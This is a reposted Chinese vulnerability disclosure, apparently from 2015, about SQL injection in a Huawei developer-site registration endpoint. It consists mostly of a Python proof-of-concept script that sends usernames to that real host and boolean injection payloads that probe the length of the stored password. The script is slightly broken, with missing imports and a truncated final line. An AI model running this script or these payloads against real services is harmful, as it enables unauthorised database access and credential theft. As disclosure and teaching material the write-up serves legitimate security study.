来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] 作者: Matrix简要描述:华为智慧云存在SQL注入,理论上可修改后台数据详细说明:http://developer.huaweidevice.com/dev_creg.php用户名验证POST数据不严格,提交地址 /dev_creg/preg.php?ckuser=1参考如下...
作者: Matrix 用户名验证POST数据不严格,提交地址 /dev_creg/preg.php?ckuser=1
参考如下测试脚本: import sys
if len(sys.argv) < 2: exit(0)
headers = { "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8", "Referer": "http://developer.huaweidevice.com/dev_creg.php", "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) www.2cto.com Chrome/13.0.782.112 Safari/535.1", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest",
} params=urllib.urlencode({ "username": sys.argv[1], }) conn = httplib.HTTPConnection('developer.huaweidevice.com') conn.request("POST", "/dev_creg/preg.php?ckuser=1", params, headers)
response = conn.getresponse() data = response.read() try: print data.decode("utf-8") except Exception:
print dat
D:\>test.py ".a'or'1'='1" 后台有简单过滤遇到空格会截断。
D:\>test.py ".a'or(length(password)=32)or'2'='1"
D:\>test.py ".a'or(length(password)=31)or'2'='1"
D:\>test.py ".a'or(length(password)=33)or'2'='1" |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com